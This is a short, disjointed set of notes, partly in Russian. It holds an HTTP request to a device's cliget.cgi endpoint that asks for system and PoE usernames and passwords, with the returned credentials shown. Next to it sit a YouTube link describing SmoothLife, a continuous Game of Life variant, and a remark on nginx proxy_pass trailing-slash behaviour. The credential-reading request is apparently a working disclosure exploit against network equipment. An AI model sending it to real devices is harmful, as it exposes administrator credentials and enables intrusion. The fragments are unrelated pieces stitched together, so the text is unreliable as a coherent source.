http://X.X.X.X/cliget.cgi?cmd=$sys_user1%;$poe_user%;$poe_pass%;
в ответ:
user=admin&pass=xxxxxxx poeuser poepassword
http://www.youtube.com/watch?v=KJe9H6qS82I
SmoothLife is a family of rules created by Stephan Rafler. It was designed as a continuous version of Conway's Game of Life - using floating point values instead of integers. This rule is SmoothLifeL which supports many interesting phenomena such as gliders that can travel in any direction, rotating pairs of gliders, wickstretchers and the appearance of elastic tension in the 'cords' that join the blobs.
proxy_pass http://host:port;
и proxy_pass http://host:port/;
— это две большие разницы. Во втором случае текущий location не будет дописан к uri